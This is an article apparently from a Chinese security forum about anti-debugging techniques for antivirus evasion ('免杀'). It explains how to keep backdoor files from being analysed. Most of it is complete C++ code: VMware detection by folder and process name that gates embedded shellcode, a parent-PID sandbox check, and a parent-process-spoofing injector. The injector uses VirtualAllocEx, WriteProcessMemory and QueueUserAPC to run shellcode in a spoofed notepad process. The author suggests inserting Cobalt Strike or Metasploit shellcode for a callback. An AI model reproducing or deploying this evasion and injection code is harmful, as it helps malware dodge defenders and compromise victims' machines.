问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
浅谈调试与反调试
最近在研究免杀这一块的知识,说到免杀肯定就逃不过沙箱。对于沙箱的通俗理解就是一个安全的箱子,这个箱子能够模拟出软件执行苏需要的环境(如模拟虚拟机环境),通过hook跳转到自己的函数进行行...
最近在研究免杀这一块的知识,说到免杀肯定就逃不过沙箱。对于沙箱的通俗理解就是一个安全的箱子,这个箱子能够模拟出软件执行苏需要的环境(如模拟虚拟机环境),通过hook跳转到自己的函数进行行为分析。所以我们的后门文件想要更好的躲避杀软的查杀,首先肯定要做好反调试才能在对抗杀软时后顾无忧。 反虚拟机调试 ====== 我想现在一般的沙箱都不会是虚拟机环境,但如果我们在对抗的过程中被蓝队人员拿到了样本,他想用od去调一下这个程序怎么走的,肯定也不会拿到本机里面调,如果这个exe有毒,那电脑就全完了,所以最好的选择还是虚拟机环境,首先反调试的第一个目标就是反虚拟机调试。 根据文件路径 ------ 查阅资料后发现如果使用虚拟机,一般的路径都为(在没有修改过的情况下) ```c++ C:\Program Files\VMware ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-06c98d03add94a7bff34b3649beede3c3e12058e.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-06c98d03add94a7bff34b3649beede3c3e12058e.png) 那么第一种反虚拟机的方式就是通过判断C盘目录下是否有这个文件夹,这里用到``PathIsDirectory`这个api ```c++ BOOL PathIsDirectoryA( LPCSTR pszPath //指向包含要验证的路径的最大长度为 MAX_PATH 的空终止字符串的指针 ); ``` 如果路径是有效目录,则返回 (BOOL)FILE\_ATTRIBUTE\_DIRECTORY;否则返回FALSE 那么这里我们就可以进行判断,如果存在这个路径则向下执行代码 ```c++ if (PathIsDirectory("C:\\Program Files\\VMware")) ``` 使用`__asm`把参数传进去,并定义一个shellcode,存在这个路径则弹窗 ```c++ __asm{ lea eax, shellcode; push eax; ret; } ``` 完整代码如下 ```c++ #include "stdafx.h" #include <Windows.h> #include "shlwapi.h" #pragma comment(lib, "shlwapi.lib") char shellcode[] = "\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c" "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b" "\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95" "\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59" "\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a" "\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75" "\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03" "\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50" "\x53\xff\x57\xfc\x53\xff\x57\xf8"; int main(int argc, CHAR* argv[]) { if (PathIsDirectory("C:\\Program Files\\VMware")) { __asm{ lea eax, shellcode; push eax; ret; } } return 0; } ``` 实现效果如下所示 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-b8fbab9b9262728c0a6dc4f7a61e3551e9069395.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-b8fbab9b9262728c0a6dc4f7a61e3551e9069395.png) 这里思考了一下,弄个弹窗出来过于明显,那么也可以直接exit()退出我们写的程序,或者直接把shellcode换成cs的直接回连上线 根据进程信息 ------ 这里在查看几个虚拟机后发现vm的默认进程有`vmtoolsd.exe`和`vmacthlp.exe`,这里直接判断进程是否存在即可起到反调试的效果 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-36f6ce5c24c0b5edb66708aca598e171a7de1fb3.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-36f6ce5c24c0b5edb66708aca598e171a7de1fb3.png) 通过`CreateToolhelp32Snapshot`这个API来拍摄进程快照,再比对`PROCESSENTRY32`中的`szExeFile`与进程名是否相同即可 实现代码如下 ```c++ #include "stdafx.h" #include <Windows.h> #include "shlwapi.h" #pragma comment(lib, "shlwapi.lib") char shellcode[] = "\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c" "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b" "\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95" "\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59" "\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a" "\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75" "\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03" "\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50" "\x53\xff\x57\xfc\x53\xff\x57\xf8"; { DWORD ret = 0; HWND hListModules; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return FALSE; } PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); //初始化空间 BOOL pr = Process32First(hSnapshot, &pe32); //快照句柄&指向PROCESSENTRY32的指针 while(pr) { if (strcmp(pe32.szExeFile, "vmtoolsd.exe")== 0) // if (strcmp(pe32.szExeFile, "vmacthlp.exe")==0) { __asm { lea eax,shellcode; jmp eax; } return TRUE; } pr = Process32Next(hSnapshot, &pe32); } CloseHandle(hSnapshot); } ``` 反沙箱调试 ===== 最简单的反调试的措施就是检测父进程。一般来说,我们手动点击执行的程序的父进程都是explorer。如果一个程序的父进程不是explorer,那么我们就可以认为他是由沙箱启动的。那么我们就直接exit退出,这样,杀软就无法继续对我们进行行为分析了。 这里的思路是使用`CreateToolhelp32Snapshot`拍摄快照,从快照中获取`explorer.exe`的id,再根据pid在进程快照中获取其父进程的id信息,两者进行比较,若相同则不为沙箱可以继续运行程序,若不相同则为沙箱直接`exit()`退出程序 首先通过调用`CreateToolhelp32Snapshot`拍摄快照 ```c++ HMODULE hModule = LoadLibrary(_T("Kernel32.dll")); FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot"); ``` 然后使用汇编语句进行传参 ```c++ _asm{ push 0 push 2 call Address mov hkz, eax } ``` 因为传参的话是从右往左传参,传入的第一个参数就是2,在`createtoolhelp32snapshot`里第一个参数为2的时候含义如下 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c8a82c369f2ccded52942e0d149da8ef3350e608.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c8a82c369f2ccded52942e0d149da8ef3350e608.png) 第二个参数传入0,代表的是默认进程 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f1f049ab689ff99b0f936b29ffab4f1dac90ba89.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f1f049ab689ff99b0f936b29ffab4f1dac90ba89.png) 遍历结构并返回父进程 ```c++ if ( Process32First( hkz, &pe ) ){ do{ if ( pe.th32ProcessID == pid ){ ParentProcessID = pe.th32ParentProcessID; break; } } while ( Process32Next( hkz, &pe ) ); } return ParentProcessID; ``` 然后再编写一个函数获取`explorer.exe`的pid,代码如下 ```c++ DWORD get_explorer_processid() { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); if (Process32First(snapshot, &process)) { do { if (!wcscmp(process.szExeFile, L"explorer.exe")) break; } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); return process.th32ProcessID; } ``` 然后再对两个函数返回的ID进行比较,如果ID相同则不为沙箱,若不相同的话则直接退出 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-67dae314338b2790fec127c0bb21fadfcabb5359.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-67dae314338b2790fec127c0bb21fadfcabb5359.png) 完整代码如下,若相同则弹窗,若不相同则直接退出程序 ```c++ // testvm.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <windows.h> #include <tlhelp32.h> #include <tchar.h> DWORD get_parent_processid(DWORD pid) { DWORD ParentProcessID = -1; PROCESSENTRY32 pe; HANDLE hkz; HMODULE hModule = LoadLibrary(_T("Kernel32.dll")); FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot"); if (Address == NULL) { OutputDebugString(_T("GetProc error")); return(-1); } _asm { push 0 push 2 call Address mov hkz, eax } pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hkz, &pe)) { do { if (pe.th32ProcessID == pid) { ParentProcessID = pe.th32ParentProcessID; break; } } while (Process32Next(hkz, &pe)); } return ParentProcessID; } DWORD get_explorer_processid() { //返回explorer.exe的pid HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); if (Process32First(snapshot, &process)) { do { if (!wcscmp(process.szExeFile, L"explorer.exe")) break; } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); return process.th32ProcessID; } int main() { DWORD explorer_id = get_explorer_processid(); DWORD parent_id = get_parent_processid(GetCurrentProcessId()); if (explorer_id == parent_id) { /* 判断父进程id是否和explorer进程id相同{ */ MessageBox(0, L"Not sandbox", L"Success", 0); } else { exit(1); } } ``` **实现效果** 在正常情况下运行的话pid是相同的那么弹窗不为沙箱 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8c42067b08439a30c07c34a768b8cc8d82f2bc72.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8c42067b08439a30c07c34a768b8cc8d82f2bc72.png) 如果是我直接在vs里面运行一下进行调试就报错直接退出 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-672d25bd6ba3a50b197b8218630ee06c07f03f1a.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-672d25bd6ba3a50b197b8218630ee06c07f03f1a.png) 父进程伪造 ===== 在进行完反沙箱调试之后,我不禁又想,有没有一种方法能够伪造父进程为`explorer.exe`呢,那么上面这种反调试的方法就行不通了。 首先分析一下要伪造父进程肯定要先知道`explorer.exe`的id,再创建进程和线程 `OpenProcess`、`CreateProcess`这几个常用api就不提了,伪造父进程最重要的一个api就是`InitializeProcThreadAttributeList` **InitializeProcThreadAttributeList** 用于初始化指定的属性列表以创建进程和线程 ```c++ BOOL InitializeProcThreadAttributeList( LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize ); ``` > ```php > lpAttributeList > ``` > > The attribute list. This parameter can be NULL to determine the buffer size required to support the specified number of attributes. > > ```php > dwAttributeCount > ``` > > The count of attributes to be added to the list. > > ```php > dwFlags > ``` > > This parameter is reserved and must be zero. > > ```php > lpSize > ``` > > If *lpAttributeList* is not NULL, this parameter specifies the size in bytes of the *lpAttributeList* buffer on input. On output, this parameter receives the size in bytes of the initialized attribute list. > > If *lpAttributeList* is NULL, this parameter receives the required buffer size in bytes. ![image-20211004151223985](/images/%E8%B0%83%E8%AF%95%E4%B8%8E%E5%8F%8D%E8%B0%83%E8%AF%95/image-20211004151223985.png) 另外还有个重要的结构体`STARTUPINFOEXA` ```c++ typedef struct _STARTUPINFOEXA { STARTUPINFOA StartupInfo; LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; } STARTUPINFOEXA, *LPSTARTUPINFOEXA; ``` > ```php > StartupInfo > ``` > > A [STARTUPINFO](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/ns-processthreadsapi-startupinfoa) structure. > > ```php > lpAttributeList > ``` > > An attribute list. This list is created by the [InitializeProcThreadAttributeList](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist) function. 首先还是要找到explorer.exe的pid ```c++ DWORD getParentProcessID() { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); if (Process32First(snapshot, &process)) { do { //If you want to another process as parent change here if (!wcscmp(process.szExeFile, L"explorer.exe")) break; } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); return process.th32ProcessID; } ``` 然后就是父进程伪造的代码,这一块我自己写了一小段尝试,但是写着写着就没思路了,不知道结构该怎么用,还是太菜了,这里跟一下大佬的代码吧 首先`OpenProcess`打开进程,这里调用之前写的`getParentProcessID`获取PID ```c++ HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); ``` 然后`ZeroMemory`置空 ```c++ ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); ``` 使用`InitializeProcThreadAttributeList`为线程进程创建初始化指定的属性列表,注意第三个参数保留必须为0 ```c++ InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT); ``` `HeapAlloc`在堆里面分配内存,`GetProcessHeap`检索调用进程默认堆的句柄 ```c++ sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); ``` 然后更新指令属性 ```c++ UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); ``` 创建进程 ```c++ CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo); ``` 分配内存并写入内存 ```c++ //分配内存 LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); SIZE_T* lpNumberOfBytesWritten = 0; //写入内存 BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten); ``` 进行APC调用 ```c++ //APC调用 QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL); ``` 启动线程 ```c++ ResumeThread(pInfo.hThread); ``` 完整代码如下,这里shellcode可以用cs的shellcode或者msf的shellcode,生成之后就可以上线 ```c++ // Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <windows.h> #include <TlHelp32.h> DWORD getParentProcessID() { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); if (Process32First(snapshot, &process)) { do { if (!wcscmp(process.szExeFile, L"explorer.exe")) { printf("Find explorer failed!\n"); break; } } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); return process.th32ProcessID; } int main() { unsigned char shellCode[] =""; STARTUPINFOEXA sInfoEX; PROCESS_INFORMATION pInfo; SIZE_T sizeT; //打开explorer进程获取当前进程所有权限 HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); //用0填充数组 ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); //初始化指定的属性列表,创建进程和线程 InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT); //设置进程属性并从堆中分配内存 sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT); //更新用于进程和线程创建的属性列表中的指定属性 UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA); CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo); //分配内存 LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); SIZE_T* lpNumberOfBytesWritten = 0; //写入内存 BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten); //APC调用 QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL); //启动线程 ResumeThread(pInfo.hThread); CloseHandle(pInfo.hThread); return 0; } ``` 这里启动的是`notepad.exe`,实现效果如下 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-84cea8eef30179685242c9b08d6dfa3f2d9b2fa3.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-84cea8eef30179685242c9b08d6dfa3f2d9b2fa3.jpg)
发表于 2021-10-14 14:01:55
阅读 ( 5027 )
分类:
渗透测试
0 推荐
收藏
0 条评论
请先
登录
后评论
szbuffer
30 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!